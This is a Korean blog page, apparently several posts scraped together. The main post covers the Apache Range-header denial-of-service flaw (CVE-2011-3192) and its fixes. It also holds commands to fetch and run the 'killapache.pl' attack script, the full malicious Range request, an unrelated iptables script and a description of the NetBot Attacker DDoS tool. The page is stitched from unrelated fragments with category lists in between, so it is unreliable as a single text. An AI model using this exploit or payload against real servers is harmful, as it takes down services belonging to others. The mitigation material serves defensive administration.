얼마전 아파치 웹서버 무력화시킬 심각한 DoS 결함 발견 이라는 기사가 나왔습니다. 메일링 리스트를 보니 영향 받는 소프트웨어는
Apache 1.3.x 및 이전, Apache 2.2.19 이전 버전이라고 하니 현재의 아파치 웹서버 대부분이 해당되는 이슈입니다. 따라서 아파치 웹서버를 사용하는 국내의 서버관리자들, 그리고 아파치가 탑재된 각종 산업분야의 엔지니어들은 빠른 대응을 해야겠습니다. 저도 처리해야지 하다가 오늘에서야 시간이 나서 후다닥 해치웠습니다. 개략적인 내용과 조치방법을 정리했으니 유용하게 사용하시기 바랍니다.

Range 요청 취약점?

http는 헤더정보에 Range를 사용해서 콘텐츠의 일부만 요청할 수 있습니다 . 파일 이어받기 또는 p2p 등에서 파일의 일부만을 특정 서버에서 받고자 할 때, video 스트리밍, pdf 등의 다운로드가 사용합니다. 이번의 이슈는 이 http header 에 Range를 요청하는 취약점을 이용해서 아파치 웹서버에 DoS 공격이 가능하다는 것이죠

Range ?
Range: bytes= n-m
문서가 요구하는 부분적인 범위를 명시한다. 여러 개의 범위는 세미콜론으로 구분하여 나열한다. 만일 쉼표로 구별된 바이트 범위인 첫째 숫자가 없다면 범위는 문서의 끝에서부터 센다고 가정한다. 만일 둘째 숫자가 없다면 범위는 끝에서 바이트 n까지이다. 첫째 바이트는 바이트 0이다.


이 공격을 테스트하기 위해서 http://goo.gl/gKMYo 의 Apache Killer 스크립트를 다운로드 받았습니다.

cpan -i Parallel::ForkManager
wget http://static.hackersgarage.com/killapache.pl.hackersgarage.com
mv killapache.pl.hackersgarage.com killapache.pl

실행 권한 부여
chmod u+x killapache.pl

공격시도
perl killapache.pl example.com 50

killapache.pl 스크립트는 아래와 같은 Range 요청을 해당 웹서버에 보냅니다.

HEAD / HTTP/1.1
Host: 192.168.10.140
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-
16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30,5-31,5-32,5-
33,5-34,5-35,5-36,5-37,5-38,5-39,5-40,5-41,5-42,5-43,5-44,5-45,5-46,5-47,5-48,5-49,5-
50,5-51,5-52,5-53,5-54,5-55,5-56,5-57,5-58,5-59,5-60,5-61,5-62,5-63,5-64,5-65,5-66,5-
67,5-68,5-69,5-70,5-71,5-72,5-73,5-74,5-75,5-76,5-77,5-78,5-79,5-80,5-81,5-82,5-83,5-
84,5-85,5-86,5-87,5-88,5-89,5-90,5-91,5-92,5-93,5-94,5-95,5-96,5-97,5-98,5-99,5-100,5-
101,5-102,5-103,5-104,5-105,5-106,5-107,5-108,5-109,5-110,5-111,5-112,5-113,5-114,5-
115,5-116,5-117,5-118,5-119,5-120,5-121,5-122,5-123,5-124,5-125,5-126,5-127,5-128,5-
129,5-130,5-131,5-132,5-133,5-134,5-135,5-136,5-137,5-138,5-139,5-140,5-141,5-142,5-
143,5-144,5-145,5-146,5-147,5-148,5-149,5-150,5-151,5-152,5-153,5-154,5-155,5-156,5-
157,5-158,5-159,5-160,5-161,5-162,5-163,5-164,5-165,5-166,5-167,5-168,5-169,5-170,5-
171,5-172,5-173,5-174,5-175,5-176,5-177,5-178,5-179,5-180,5-181,5-182,5-183,5-184,5-
185,5-186,5-187,5-188,5-189,5-190,5-191,5-192,5-193,5-194,5-195,5-196,5-197,5-198,5-
199,5-200,5-201,5-202,5-203,5-204,5-205,5-206,5-207,5-208,5-209,5-210,5-211,5-212,5-
213,5-214,5-215,5-216,5-217,5-218,5-219,5-220,5-221,5-222,5-223,5-224,5-225,5-226,5-
227,5-228,5-229,5-230,5-231,5-232,5-233,5-234,5-235,5-236,5-237,5-238,5-239,5-240,5-
241,5-242,5-243,5-244,5-245,5-246,5-247,5-248,5-249,5-250,5-251,5-252,5-253,5-254,5-
255,5-256,5-257,5-258,5-259,5-260,5-261,5-262,5-263,5-264,5-265,5-266,5-267,5-268,5-
269,5-270,5-271,5-272,5-273,5-274,5-275,5-276,5-277,5-278,5-279,5-280,5-281,5-282,5-
283,5-284,5-285,5-286,5-287,5-288,5-289,5-290,5-291,5-292,5-293,5-294,5-295,5-296,5-
297,5-298,5-299,5-300,5-301,

--CUT--

1016,5-1017,5-1018,5-1019,5-1020,5-1021,5-1022,5-1023,5-1024,5-1025,5-1026,5-1027,5-
1028,5-1029,5-1030,5-1031,5-1032,5-1033,5-1034,5-1035,5-1036,5-1037,5-1038,5-1039,5-
1040,5-1041,5-1042,5-1043,5-1044,5-1045,5-1046,5-1047,5-1048,5-1049,5-1050,5-1051,5-
1052,5-1053,5-1054,5-1055,5-1056,5-1057,5-1058,5-1059,5-1060,5-1061,5-1062,5-1063,5-
1064,5-1065,5-1066,5-1067,5-1068,5-1069,5-1070,5-1071,5-1072,5-1073,5-1074,5-1075,5-
1076,5-1077,5-1078,5-1079,5-1080,5-1081,5-1082,5-1083,5-1084,5-1085,5-1086,5-1087,5-
1088,5-1089,5-1090,5-1091,5-1092,5-1093,5-1094,5-1095,5-1096,5-1097,5-1098,5-1099,5-
1100,5-1101,5-1102,5-1103,5-1104,5-1105,5-1106,5-1107,5-1108,5-1109,5-1110,5-1111,5-
1112,5-1113,5-1114,5-1115,5-1116,5-1117,5-1118,5-1119,5-1120,5-1121,5-1122,5-1123,5-
1124,5-1125,5-1126,5-1127,5-1128,5-1129,5-1130,5-1131,5-1132,5-1133,5-1134,5-1135,5-
1136,5-1137,5-1138,5-1139,5-1140,5-1141,5-1142,5-1143,5-1144,5-1145,5-1146,5-1147,5-
1148,5-1149,5-1150,5-1151,5-1152,5-1153,5-1154,5-1155,5-1156,5-1157,5-1158,5-1159,5-
1160,5-1161,5-1162,5-1163,5-1164,5-1165,5-1166,5-1167,5-1168,5-1169,5-1170,5-1171,5-
1172,5-1173,5-1174,5-1175,5-1176,5-1177,5-1178,5-1179,5-1180,5-1181,5-1182,5-1183,5-
1184,5-1185,5-1186,5-1187,5-1188,5-1189,5-1190,5-1191,5-1192,5-1193,5-1194,5-1195,5-
1196,5-1197,5-1198,5-1199,5-1200,5-1201,5-1202,5-1203,5-1204,5-1205,5-1206,5-1207,5-
1208,5-1209,5-1210,5-1211,5-1212,5-1213,5-1214,5-1215,5-1216,5-1217,5-1218,5-1219,5-
1220,5-1221,5-1222,5-1223,5-1224,5-1225,5-1226,5-1227,5-1228,5-1229,5-1230,5-1231,5-
1232,5-1233,5-1234,5-1235,5-1236,5-1237,5-1238,5-1239,5-1240,5-1241,5-1242,5-1243,5-
1244,5-1245,5-1246,5-1247,5-1248,5-1249,5-1250,5-1251,5-1252,5-1253,5-1254,5-1255,5-
1256,5-1257,5-1258,5-1259,5-1260,5-1261,5-1262,5-1263,5-1264,5-1265,5-1266,5-1267,5-
1268,5-1269,5-1270,5-1271,5-1272,5-1273,5-1274,5-1275,5-1276,5-1277,5-1278,5-1279,5-
1280,5-1281,5-1282,5-1283,5-1284,5-1285,5-1286,5-1287,5-1288,5-1289,5-1290,5-1291,5-
1292,5-1293,5-1294,5-1295,5-1296,5-1297,5-1298,5-1299
Accept-Encoding: gzip
Connection: close

그 결과 버그가 존재하는 아파치 웹서버의 경우에는 아래와 같이 시스템의 CPU, 메모리등의 자원을 엄청나게 소모하게 되고 결국 정상적인 서비스가 불가능하게 됩니다.




조치방법

이 보안 이슈에 대응하는 방법은 두가지가 있습니다. 현재 이슈가 해결된 버전이 이미 나와있기 때문에 가장 좋은 방법은 아파치 웹서비스 패키지를 최신으로 업데이트하는 것이 좋습니다, 하지만 운영중인 서비스에 대해서 재설치의 압박이 있는 경우도 있으니 그런 경우라면 웹서버 Range header의 조건을 검사하여 차단하는 방법이 있습니다.

1) Apache 2.2.20 업데이트(Apache 2.2.20 for CentOS 5.x)

소스 컴파일을 하시는 경우에는 홈페이지에서(http://httpd.apache.org/download.cgi) 최신 소스코드를 다운받아 설치하시기 바랍니다. 저는 CentOS 5.5 를 사용하는데 아직 yum repository 에는 최신의 아파치 rpm이 없기 때문에 다른곳을 이용해서 설치했습니다.

Yum repository 추가(자신의 환경에 맞는 repository를 추가해 줍니다)
i386 :
rpm -ihv http://centos.alt.ru/repository/centos/5/i386/centalt-release-5-3.noarch.rpm

x86_64:
rpm -ihv http://centos.alt.ru/repository/centos/5/x86_64/centalt-release-5-3.noarch.rpm

설치된 Repository 확인
yum repolist

아파치 버전 확인
yum --enablerepo=CentALT list httpd

아파치 업데이트
yum --enablerepo=CentALT install httpd

웹서버 재시작
service httpd restart


2) http header의 Range 요청을 검사해서 차단하는 방법

대부분 정상적인 Range 요청시 필드가 5개 이상은 넘지 않기 때문에 5개를 넘는 Range 요청이 있다면 Range 요청은 리셋하는 방법입니다. 웹서버 환경설정 파일을 아래와 같이 새로 추가합니다.(rpm으로 설치했다면 /etc/httpd/conf.d/ 안에 생성)

/etc/httpd/conf.d/range-CVE-2011-3192.conf 파일의 내용

# Drop the Range header when more than 5 ranges.
# CVE-2011-3192
SetEnvIf Range (?:,.*?){5,5} bad-range=1
RequestHeader unset Range env=bad-range

# We always drop Request-Range; as this is a legacy
# dating back to MSIE3 and Netscape 2 and 3.
RequestHeader unset Request-Range

웹서버 재시작
service httpd restart


CVE 자료(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192) 를 보니 8/19에 접수된 이슈인데 8/30 이슈가 해결된 아파치 2.2.20 버전이 나왔습니다. 이번 일을 통해서 다시한번 오픈소스SW의 보안에 대한 빠른 대응을 느끼게 됩니다. SW를 개발하는 입장에서 보면 아파치정도의 세계시장 점유율을 가진 소프트웨어가 이렇게 빠르게 대응하는 것이 가능할까하는 의문이 듭니다. 이것이 오픈소스SW의 힘이겠죠  :-)


참고 자료


#!/bin/sh

#iptables Path
iptables=/sbin/iptables

# SERVER IP 받아오기.
HOST_IP="`/sbin/ifconfig eth0 | grep 'inet addr' | awk '{print $2}' | sed -e 's/.*://'`"
NETMASK="`/sbin/ifconfig eth0 | grep 'inet addr' | awk '{print $4}' | cut -d : -f 2`"

# rule delete
# 모두 지우고 다시 재설정합니다.
$iptables -F

######### 비정상적 패킷은 드롭시킨다. 로그에 남긴다. ###############
iptables -A FORWARD -m state --state INVALID -j DROP
iptables -A FORWARD -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP
iptables -A FORWARD -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP
iptables -A FORWARD -p tcp --tcp-flags SYN,RST SYN,RST -j DROP

#iptables -A FORWARD -p tcp --tcp-flags ALL FIN,URG,PSH -m limit --limit 5/minute -j LOG --log-level notice --log-prefix "NMAP-XMAS:"
#iptables -A FORWARD -p tcp --tcp-flags SYN,FIN SYN,FIN -m limit --limit 5/minute -j LOG --log-level notice --log-prefix "SYN/FIN:"
#iptables -A FORWARD -p tcp --tcp-flags SYN,RST SYN,RST -m limit --limit 5/minute -j LOG --log-level notice --log-prefix "SYN/RST:"


#Drop RST/ACKs to limit OS detection through pinging
iptables -A FORWARD -p tcp --tcp-flags RST RST,ACK -j DROP
#iptables -A FORWARD -p tcp --tcp-flags RST RST,ACK -m limit --limit 5/minute -j LOG --log-level notice --log-prefix "RST/ACK:"

# INPUT Rules 설정
$iptables -Z INPUT
$iptables -P INPUT ACCEPT

# local 과 자기자신의 IP 는 허용.
$iptables -A INPUT -i lo -j ACCEPT
$iptables -A INPUT -s 도메인 -j ACCEPT

#  알 수 없는 패킷 즉,  NETWORK 상태가 INVALID 인 패킷들을 막아 버린다.
#  정상적인 접근에서는 나올 수 없는 상태.
$iptables -A INPUT -m state --state INVALID -j DROP

# ssh service
# ssh 접속 지역 지정.
$iptables -A INPUT -s 아이피.0.0/16 -p tcp --dport 22 -j ACCEPT
$iptables -A INPUT -s 아이피.0/24 -p tcp --dport 22 -j ACCEPT

# etc service
# 25(메일), 80(웹)은 모든 곳에서 ACCEPT 입니다. 반드시...
$iptables -A INPUT -p tcp --dport 25 -m state --state NEW,ESTABLISHED -j ACCEPT
$iptables -A INPUT -p tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT

# AUTH 는 서비스를 하지 않더라도 열어야 합니다. 클라이언트에서 요청합니다.
$iptables -A INPUT -p tcp --dport 113 -m state --state NEW,ESTABLISHED -j ACCEPT

# mysql
# 기본적으로 mysql 은 local에서만 접속하면 됩니다. DB 공유를 할 경우 대역 지정.
$iptables -A INPUT -p tcp --dport 3306 -m state --state NEW,ESTABLISHED -j ACCEPT

# mysql DB공유 대역설정
$iptables -A INPUT -s 아이피.0/24 -p tcp --dport 3306 -j ACCEPT

# ICMP service
# ping은 별 의미가 없지만...
$iptables -A INPUT -s 아이피.0.0/16 -p icmp --icmp-type echo-request -j ACCEPT

# 서버로 들어오는 SYN packet 을 모두 거절한다.
$iptables -A INPUT -p tcp --syn -j REJECT

# Drop All packet
# 원활한 서비스를 위해 65535 포트까지만 DROP 을 합니다. 물론 다 막아도 상관 없습니다.
$iptables -A INPUT -p tcp --dport 0:65535 -j DROP
$iptables -A INPUT -p udp --dport 0:65535 -j DROP
$iptables -A INPUT -p icmp --icmp-type echo-request -j REJECT

# 각종 서비스들에 대해 최대의 성능을 발휘할 수 있도록 TOS 설정을 한다.
$iptables -t mangle -A OUTPUT -p tcp -s 0/0 --sport 80 -j TOS --set-tos 0x10
$iptables -t mangle -A OUTPUT -p tcp -d 0/0 --dport 22 -j TOS --set-tos 0x10
$iptables -t mangle -A OUTPUT -p tcp -d 0/0 --dport 21 -j TOS --set-tos 0x10
$iptables -t mangle -A OUTPUT -p tcp -d 0/0 --dport 20 -j TOS --set-tos 0x08
$iptables -t mangle -A OUTPUT -p tcp -s 0/0 --sport 23 -j TOS --set-tos 0x10

# 외부 서비스를 위한 설정. / udp service
# dns 상호 쿼리를 위해서...
#$iptables -A INPUT -p udp --sport 53 -m state --state ESTABLISHED -j ACCEPT

# TCP service
# ftp-data, 서버자체가 클라이언트가 될 경우...
$iptables -A INPUT -p tcp --dport 20 -m state --state NEW,ESTABLISHED -j ACCEPT
$iptables -A INPUT -p tcp --dport 20 -m state --state ESTABLISHED -j ACCEPT
$iptables -A INPUT -i eth0 -p tcp --sport 1024:65535 --dport 1024:65535 -m state --state ESTABLISHED,RELATED -j ACCEPT

# ftp service
# ftp 를 이용할 수 있는 대역을 지정하였습니다. 좀더 세밀해 질 수 있겠죠.
#$iptables -A INPUT -s 아이피.0.0.0/8 -p tcp --dport 21 -j ACCEPT
#$iptables -A INPUT -s 아이피.0.0/16-p tcp --dport 21 -j ACCEPT
$iptables -A INPUT -s 아이피.0/24 -p tcp --dport 21 -j ACCEPT

# telnet
# telnet은 현재 서비스 하지 않습니다.
$iptables -A INPUT -s 아이피.0.0/16 -p tcp --dport 23 -j ACCEPT

# pop3s 를 이용하는 관계로 995번을 열고 있습니다.
#$iptables -A INPUT -p tcp --dport 995 -m state --state NEW,ESTABLISHED -j ACCEPT

# ip 대역 예제.
# ip 대역뿐만 아니라 아래와 같이 상태접속을 지정할 수도 있습니다.
$iptables -A INPUT -s 아이피.0.0/16 -p tcp --dport 23 -m state --state NEW,ESTABLISHED -j ACCEPT
$iptables -A INPUT -s 아이피.0.0/16 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT
$iptables -A INPUT -s 아이피.0/24 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT
$iptables -A INPUT -s 아이피.0.0/16 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT

# UDP service
# udp 서비스는 하나뿐이죠?
#$iptables -A INPUT -p udp --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT

echo -e "\nDone.\n"

exit;

Inline Translator가 로드되지 못했습니다. 다시 시도하시려면 새로고침해주세요.

'오픈소스SW' 카테고리의 다른 글

http 패킷 보기  (1) 2010.06.13
보안서버 구축에 사용되는 무료인증서 StartSSL  (0) 2010.06.13
CentOS 5.2.x PHP UPDATE  (0) 2010.06.09
Apache 웹방화벽 ModSecurity 사용하기  (1) 2010.06.08
jquery datepicker 사용  (0) 2010.06.05
http://blog.sorpyo.com/trackback/29

결론

마땅한 대응책은 없지만

브릿지 방화벽 또는 IPTABLES 를 사용해서 서버단위의 공격은 대응가능

하지만 자주사용하는 포트에 대한 네트워크공격인 경우라면

라우터나 기타장비 자체가 마비되는 증상이 나타나므로 블랙홀기법등을 사용해서

일부분 대응은 가능하지만, 원천적으로는 해당 원격지의 아이피를 확인해서 막는것

이외에는 대안이 없다.

장비가 다양하게 나오고 있으나, 대부분 고가.

방어장비의 리스트프라이스는 최소 700에서 3300 정도까지 거론된다

'삽질로그' 카테고리의 다른 글

레베카프로 드라이버-데탑용 웹캠  (0) 2008.01.22
개정된영문이름표기법  (0) 2008.01.21
DDoS 공격 툴 NetBot Attacker  (0) 2008.01.11
정보보호전문가 응시예정  (0) 2008.01.11
DDoS 공격관련 문서와 툴  (0) 2008.01.11

작년에 아이템베이등 국내 아이템 거래 사이트를 초토화 시키고 최근에 웹 사이트를 대상으로 하는 랜섬어택으로 DDoS를 많이 당하고 있는데 사용된 툴이라고 합니다,
아래 사이트에서 공격 데모를 보여주고 있습니다.
데모 화면을 보시면 중국해커 PC에 어떤 프로그램이 설치되어 있는지 그리고 주로 무슨 툴을 사용하는지도 엿볼 수 있습니다.
여기서 해커의 성향을 엿볼 수 있는데 지금 데모를 하는 중국해커는 공격성향이 강한 사람 같습니다. 데모지만 실제 서비스 사이트에 대해 주저하지 않고 공격을 해버립니다.
근데 한가지 의문은 데모에서 단지 5대의 좀비 PC로 웹 서버가 죽는게 이상합니다. 5대 좀비 PC 가지고 대량의 트래픽 발생한다는 것은 불가능한데도 웹 서버가 죽는 것 보면 뭔가 특별한 DoS 공격인 것 같습니다.
잘 보시면 DoS 공격 타입이 CC Attack 타입을 선택하고 있습니다. 이 부분이 핵심입니다.
PC 화면에 보니 syser, MS VC++, GMER, FBFD.EXE, ooBar2000.exe, Samsung PC Studio3(삼성 휴대폰 연결프로그램), 중국어로 된 각종 기능을 알 수 없는 프로그램들...   아래 화면을 보시면 NetBot Attacker에서 아이피 주소와 한국이라는 도메인이 나오는 부분이 있는데 이게 바로 자동으로 좀비 PC가 해커 PC로 리버스 커넥션한 좀비 PC 리스트입니다. 그리고 옆에다 찍으면 그 좀비 PC가 공격하는 형태입니다.

해킹은 확실히 공격하는 측보다는 막는 측이 불리합니다.
DDoS 공격툴은 확실히 가난하지만 사악한 Hacker자들이 선호하는 무기입니다.

-->
http://www.hackeroo.com/move/netbot_attacker.html

(1) NetBot Attacker 1.6 Public 버전



(2) NetBot Attacker 2.3 VIP 영문버전

좌측 상단은 좀비 PC 리스트이고 우측 하단은 원격에서 쉘로 좀비 PC에 들어가 있는 것으로 추정되고 좌축 하단은 FTP로 파일 업로드 다운로드 하는 매니저 프로그램이다.


이 툴만 있으면 반대로 국내에 좀비 PC를 찾아내는 것이 더 쉬울 듯 합니다.
그러나 일부 좀비 PC가 하나의 가치로 평가되어 Botnet정보가 거액으로 거래된다고 합니다.


(3) 국내외에 좀비 PC 리스트를 한눈에 확인할 수 있다.

 

'삽질로그' 카테고리의 다른 글

개정된영문이름표기법  (0) 2008.01.21
DDoS 관련 정보  (0) 2008.01.14
정보보호전문가 응시예정  (0) 2008.01.11
DDoS 공격관련 문서와 툴  (0) 2008.01.11
프리젠테이션에 도움이 되는 자료들  (1) 2007.12.27

+ Recent posts